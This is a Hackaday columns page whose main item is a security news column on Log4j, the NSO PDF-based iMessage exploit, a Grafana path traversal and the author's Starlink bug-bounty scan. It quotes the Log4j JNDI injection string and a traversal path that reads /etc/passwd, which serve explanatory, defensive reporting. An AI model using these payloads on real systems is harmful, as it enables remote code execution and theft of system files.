Hackaday Columns

4708 Articles

This excellent content from the Hackaday writing crew highlights recurring topics and popular series like Linux-Fu, 3D-Printering, Hackaday Links, This Week in Security, Inputs of Interest, Profiles in Science, Retrotechtacular, Ask Hackaday, Teardowns, Reviews, and many more.

This Week In Security: Log4j, PDF CPU, And I Hacked Starlink

December 17, 2021 by 35 Comments

The big news this week is Log4j, breaking just a few hours too late to be included in last week’s column. Folks are already asking if this is the most severe vulnerability ever, and it does look like it’s at least in the running. The bug was first discovered by security professionals at Alibaba, who notified Apache of the flaw on November 24th. Cloudflare has pulled their data, and found evidence of the vulnerability in the wild as early as December 1st. These early examples are very sparse and extremely targeted, enough to make me wonder if this wasn’t researchers who were part of the initial disclosure doing further research on the problem. Regardless, on December 9th, a Twitter user tweeted the details of the vulnerability, and security hell broke loose. Nine minutes after the tweet, Cloudflare saw attempted exploit again, and within eight hours, they were dealing with 20,000 exploit attempts per minute.

That’s the timeline, but what’s going on with the exploit, and why is it so bad? First, the vulnerable package is Log4j, a logging library for Java. It allows processes to get log messages where they need to go, but with a bunch of bells and whistles included. One of those features is support for JNDI, a known security problem in Java. A JNDI request can lead to a deserialization attack, where an incoming data stream is maliciously malformed, misbehaving when it is expanded back into an object. It wasn’t intended for those JNDI lookups to be performed across the Internet, but there wasn’t an explicit check for this behavior, so here we are.

The conclusion is that if you can trigger a log write through log4j that includes ${jndi:ldap://example.com/a}, you can run arbitrary code on that machine. Researchers and criminals have already come up with creative ways to manage that, like including the string in a browser-agent, or a first name. Yes, it’s the return of little Bobby Tables.Log4j 2.16.0. 2.15.0 contained a partial fix, but didn’t fully eliminate the problem. An up-to-date Java has also changed a default setting, providing partial mitigation. But we probably haven’t seen the end of this one yet.

NSO and the CPU Emulated in a PDF

Had it been anyone other than Google’s Project Zero telling this story, I would have blown it off as a bad Hollywood plot device. This vulnerability is in the iOS iMessage app, and how it handles .gif files that actually contain PDF data. PDFs are flexible, to put it mildly. One of the possible encoding formats is JBIG2, a black and white compression codec from 2000. Part of the codec is the ability to use boolean operators AND, OR, XOR, and XNOR to represent minor differences between compressed blocks. An integer overflow in the decompression code allows much more memory to be considered valid output for decompression, which means the decompression code can run those BOOLEAN operators on that extra memory.

Now what do you get when you have plenty of memory and those four operators? A Turing complete CPU, of course. Yes, researchers at the NSO Group really built a virtual CPU in a PDF decoding routine, and use that platform to bootstrap their sandbox escape. It’s insane, unbelievable, and brilliant. [Ed Note: Too bad the NSO Group is essentially evil.]

Grafana Path Traversal

The Grafana visualization platform just recently fixed a serious problem, CVE-2021-43798. This vulnerability allows for path traversal via the plugin folders. So for instance, /public/plugins/alertlist/../../../../../../../../etc/passwd would return the passwd file from a Linux server. The updates fixing this issue were released on December 7th. This bug was actually a 0-day for a few days, as it was being discussed on the 3rd publicly, but unknown to the Grafana devs. Check out their postmortem for the details.

Starlink

And finally, I have some original research to cover. You may be familiar with my work covering the Starlink satellite internet system. Part of the impetus for buying and keeping Starlink was to do security research on the platform, and that goal has finally born some fruit — to the tune of a $4,800 bounty. Here’s the story.

I have a nearby friend who also uses Starlink, and on December 7th, we found that we had both been assigned a publicly routable IPv4 address. How does Starlink’s routing work between subscribers? Would traffic sent from my network to his be routed directly on the satellite, or would each packet have to bounce off the satellite, through SpaceX’s ground station, back to the bird, and then finally back to me? Traceroute is a wonderful tool, and it answered the question:

traceroute to 98.97.92.x (98.97.92.x), 30 hops max, 46 byte packets
1 customer.dllstxx1.pop.starlinkisp.net (98.97.80.1) 25.830 ms 24.020 ms 23.082 ms
2 172.16.248.6 (172.16.248.6) 27.783 ms 23.973 ms 27.363 ms
3 172.16.248.21 (172.16.248.21) 23.728 ms 26.880 ms 28.299 ms
4 undefined.hostname.localhost (98.97.92.x) 59.220 ms 51.474 ms 51.877 ms

We didn’t know exactly what each hop was, but the number of hops and the latency to each makes it fairly clear that our traffic was going through a ground station. But there’s something odd about this traceroute. Did you spot it? 172.16.x.y is a private network, as per RFC1918. The fact that it shows up in a traceroute means that my OpenWRT router and Starlink equipment are successfully routing from my desktop to that address. Now I’ve found this sort of thing before, on a different ISP’s network. Knowing that this could be interesting, I launched nmap and scanned the private IPs that showed up in the traceroute. Bingo.

172.16.248.6 was appropriately locked down, but 172.16.248.21 showed open ports. Namely, ports 179, 9100, 9101, and 50051. Nmap thought 179 was BGP, which sounded about right. But the rest of them? Telnet. I was fairly confident that none of these were actually telnet services, but it’s a great start when trying to identify an unknown service. This was no exception.Starlink's debug output Ports 9100 and 9101 told me I had made a bad request, throwing error 400s. Ah, they were HTTP services! Pulling both up in a web browser gave me a debug output that appeared to be from a Python Flask server.

That last port, 50051, was interesting. The only service I could find that was normally run there was Google’s gRPC, a Remote Procedure Call protocol. Grpc_cli came in handy to confirm that was what I had found. Unfortunately reflection was disabled, meaning that the service refused to enumerate the commands that it supported. Mapping any commands would require throwing a bunch of data at that port.

At this point, I began to wonder exactly what piece of hardware I was talking to. It did BGP, it was internal to Starlink’s network, and my traffic was routing through it. Could this be a satellite? Probably not, but the Starlink bug bounty is pretty clear about what should come next. Under no circumstances should a researcher do live testing on a satellite or other critical infrastructure. I suspected I was talking to part of their routing infrastructure, probably at the ground station in Dallas. Either way, poking too hard and breaking something was frowned upon, so I wrote up the disclosure on what I had found.

Starlink engineers had the ports closed within twelve hours of the report, and asked me to double-check their triage. Sure enough, while I could still ping the private IPs, no ports were open. Here is where I must credit the guys that run SpaceX’s Starlink bug bounty. They could have called this a simple information disclosure, paid a few hundred dollars, and called it a day. Instead, they took the time to investigate and confirmed that I had indeed discovered an open gRPC port, and then dropped the bombshell that it was an unauthenticated endpoint. The finding netted a $3,800 initial award, plus a bonus $1,000 for a comprehensive report and not crashing their live systems. As my local friend half-jokingly put it, that’s a lot of money for running nmap.

Yes, there was a bit of luck involved, combined with a whole lot of prior experience with network quirks. The main takeaway should be that security research doesn’t always have to be the super complicated vulnerability and exploit development. You don’t have to build a turing-complete system in a PDF. Sometimes it’s just IP and port scanning, combined with persistence and a bit of luck. In fact, if your ISP has a bug bounty program, you might try plugging a Linux machine directly into the modem, and scanning the private IP range. Keep your eyes open. You too just might find something interesting.

Keynote Video: Elecia White Finds Treasure In The Memory Map

December 16, 2021 by 9 Comments

If you dig microcontrollers, and you like to dig into how they work, Elecia White wants to help you navigate their innermost secrets with the help of memory map files. In this refreshingly funny, but very deep keynote talk from the 2021 Hackaday Remoticon, Elecia guides us through one of the most intimidating artifacts of compilation — a file that lists where everything is being put in the microcontroller’s memory — and points out landmarks that help to make it more navigable.

And when you need to look into the map file, you probably really need to look into the map file. When your embedded widget mysteriously stops working, memory problems are some of the usual suspects. Maybe you ran out of RAM or flash storage space, maybe you have some odd hard fault and you want to know what part of the program is causing the trouble, or maybe you need to do some speed profiling to make it all run faster. In all of these cases, you get an absolute memory address. What lives there? Look it up in the memory map!

Continue reading “Keynote Video: Elecia White Finds Treasure In The Memory Map” →

The Seductive Pull Of An Obsolete Home Movie Format

December 15, 2021 by 53 Comments

It’s dangerous for a hardware hacker to go into a second-hand store. I was looking for a bed frame for my new apartment, but of course I spent an age browsing all the other rubbish treasures on offer. I have a rough rule of thumb: if it’s not under a tenner and fits in one hand, then it has to be exceptional for me to buy it, so I passed up on a nice Grundig reel-to-reel from the 1960s and instead came away with a folding Palm Pilot keyboard and a Fuji 8mm home movie camera after I’d arranged delivery for the bed. On those two I’d spent little more than a fiver, so I’m good. The keyboard is a serial device that’s a project for a rainy day, but the camera is something else. I’ve been keeping an eye out for one to use for a Raspberry Pi camera conversion, and this one seemed ideal. But once I examined it more closely, I was drawn into an unexpected train of research that shed some light on what must of been real objects of desire for my parents generation.

A Thrift Store Find Opens A Whole New Field

One f the surprises comes in just how small this thing is.
One of the surprises comes in just how small this thing is.

The Fuji P300 from 1972 is typical among consumer movie cameras of the day. It takes the form of a film magazine with a zoom lens assembly on its front, a reflex viewfinder on its side, and a handle with a shutter trigger button on it protruding vertically below the magazine and also housing the batteries.

Surprisingly it still has a mercury cell that would have powered its light meter; a minor annoyance to dispose of this correctly. Sometimes these devices had clockwork motors, but this one has an electric motor. It also has a light sensor that is coupled to some kind of electromechanical aperture. It would have been an expensive camera when it was new, probably as much of a purchase as an SLR or a decent mirrorless camera here in 2021.

The surprise came when I opened it up, for it looked like no other 8mm camera I had seen. I’m familiar wit the two reels of a Standard 8 or the boxy cassette of Super 8, but this one used something different. That film magazine is made to fit a compact twin-reel cartridge whose film fits in a metal film gate. This is a Single 8 camera, Fuji’s entry in the all-in-one 8 mm film market, and a format I never knew existed. To explain my unexpected discovery it was necessary to delve into the world of home movie formats in the decade before videotape arrived and drove them out. Continue reading “The Seductive Pull Of An Obsolete Home Movie Format” →

Teardown: Verizon AC791L Jetpack 4G Mobile Hotspot

December 14, 2021 by 24 Comments

The saying “time and tide wait for no man” is usually used as a verbal kick in the pants, a reminder that sometimes an opportunity must be seized quickly before it passes by. But it can also be interpreted as a warning about the perpetual march of time and how it impacts the world around us. In that case, we would do well to add cellular technology to the list of proverbial things that wait for no one. Do you need 5G? No. Do you want it? Probably not. But it’s here, so be a good consumer and dump all your 4G hardware in the name of technical progress.

This line of logic may explain how the Verizon-branded Netgear AC791L 4G “Jetpack” hotspot you see here, despite being in perfect working order, found itself in the trash. The onset of 5G must have been particularly quick for the previous owner, since they didn’t even bother to wipe their configuration information from the device. In the name of journalistic integrity I won’t divulge the previous owner’s identity; but I will say that their endearing choice of WPA2 key, iluvphysics, makes for a nice fit with our publication.

A quick check of eBay shows these devices, and ones like it, are in ample supply. At the time of this writing, there were more than 1,500 auctions matching the search term “Verizon jetpack”, with most of them going for between $20 and $50 USD. We like cheap and easily obtainable gadgets that can be hacked, but is there anything inside one of these hotspots that we can actually use? Let’s find out.

Continue reading “Teardown: Verizon AC791L Jetpack 4G Mobile Hotspot” →

Art of 3D printer in the middle of printing a Hackaday Jolly Wrencher logo

Ask Hackaday: Are Extruders The Only Feasible Tools For Toolchanging?

December 13, 2021 by 35 Comments

Toolchanging in 3D printers is no longer something from the bleeding edge; it’s going mainstream. E3D has a high-quality kit for a toolchanger and motion system, our own Joshua Vasquez has shared details about the open-source toolchanging Jubilee design, and just recently Prusa3D formally announced the Prusa XL, which promises toolchanging with up to five different extruders.

A toolchange in progress

It’s safe to say toolchanging on 3D printers has stepped to the front, but what comes next? What kind of tools other than extruders make sense on a 3D printer?

First, let’s explain what makes separate extruders such fantastic tools. Being able to change extruders on-demand during a print enables things like true multi-material printing. Printing in more than one color or material will no longer be done by pushing different filaments through a single nozzle, which limits a print to materials that extrude under similar conditions and temperatures. Toolchanging means truly being able to print in multiple materials, even if they have different requirements, because each material has its own extruder. That’s a clear benefit, but what about tools other than extruders?

Continue reading “Ask Hackaday: Are Extruders The Only Feasible Tools For Toolchanging?” →

Bed of nails

Design For Test Hack Chat

December 13, 2021 by 3 Comments

Join us on Wednesday, December 15 at noon Pacific for the Design for Test Hack Chat with Duncan Lowder!

If your project is at the breadboard phase, or even if you’ve moved to a PCB prototype, it’s pretty easy to know if it works. It either does what it’s supposed to do, or it doesn’t, and a few informal tests will probably tell you all you need to know. But once you scale up to production, the testing picture becomes quite different. How do you know you’re not shipping out a problem? And how do you make sure your testing process doesn’t become a bottleneck?

Answering questions like these can be difficult, which is why we’ve invited Duncan Lowder to come talk with us. He was a test lead at places like Glowforge and Sphero before founding FixturFab, where he’s working on ways to make hardware testing as easy as possible, no matter what scale you’re working at. We’ll learn all about how to make our designs easy to test right from the get-go and take the pain out of that bed of nails.

join-hack-chatOur Hack Chats are live community events in the Hackaday.io Hack Chat group messaging. This week we’ll be sitting down on Wednesday, December 15 at 12:00 PM Pacific time. If time zones have you tied up, we have a handy time zone converter.

Hackaday Links Column Banner

Hackaday Links: December 12, 2021

December 12, 2021 by 14 Comments

It looks as though the Mars Ingenuity flight team is starting to press the edge of the envelope a bit. The tiny rotorcraft, already 280-something sols into a mission that was only supposed to last for about 30 sols, is taking riskier flights than ever before, and things got particularly spicy during flight number 17 this past week. The flight was a simple up-over-and-down repositioning of the aircraft, but during the last few meters of descent at its landing zone, Ingenuity dipped behind a small hill and lost line-of-sight contact with Perseverance. Without the 900-MHz telemetry link to the rover, operators were initially unable to find out whether the chopper had stuck the landing, as it had on its previous 16 flights. Thankfully, Perseverance picked up a blip of data packets about 15 minutes after landing that indicated the helicopter’s battery was charging, which wouldn’t be possible if the craft were on its side. But that’s it as far as flight data, at least until they can do something about the LOS problem. Whether that involves another flight to pop up above the hill, or perhaps even repositioning the rover, remains to be decided.

Thinking up strong passwords that are memorable enough to type when they’re needed is never easy, and probably contributes more to the widespread use of “P@$$w0rD123” and the like than just about anything. But we got a tip on a method the musically inclined might find useful — generating passwords using music theory. It uses standard notation for chords to come up with a long, seemingly random set of characters, like “DMaj7|Fsus2|G#9”. It’s pretty brilliant, especially if you’ve got the musical skills to know what that would sound like when played — the rest of us can click here to find out. But since we can’t carry a tune in a bucket, we’ll just stick with the “correct horse battery staple” method.

Looks like you can only light so many roofs on fire before somebody starts to take an interest in what’s going on. At least that seems to be the case with Tesla, which is now under investigation by the US Security and Exchanges Commission for not keeping its shareholders and the public looped in on all those pesky solar array fires it was having back in the day. The investigation stems from a 2019 whistleblower complaint by engineer Steven Henkes, who claims he was fired by Tesla after pointing out that it really would be best not to light their customers’ buildings on fire with poorly installed solar arrays. It’s interesting that the current investigation has nothing to do with the engineering aspects of these fires, but rather the financial implications of disclosure. We discussed some of those problems before, which includes dodgy installation practices and seems to focus on improperly torqued MC4 connectors.

Staying with the Tesla theme, it looks like the Cybertruck is going to initially show up as a four-motor variant. The silly-looking vehicle is also supposed to sport four-wheel steering, which will apparently make it possible to drive diagonally. We’ve been behind the wheel for nearly four decades at this point and can count on no hands the number of times diagonal driving would have helped, and while there might be an edge case we haven’t bumped into yet, we suspect this is more about keeping up with the competition than truly driving innovation. It seems like if they were really serious about actually shipping a product, they’d work on the Cybertruck windshield wiper problem first.

And finally, as I’m sure you’re all aware by now, our longtime boss Mike Szczys is moving on to greener pastures. I have to say the news came as a bit of shock to me, since I’ve worked for Mike for over six years now. In that time, he has put me in the enviable position of having a boss I actually like, which has literally never happened to me before. I just thought I’d take the chance to say how much I appreciate him rolling the dice on me back in 2015 and giving me a chance to actually write for a living. Thanks, Mike, and best of luck with the new gig!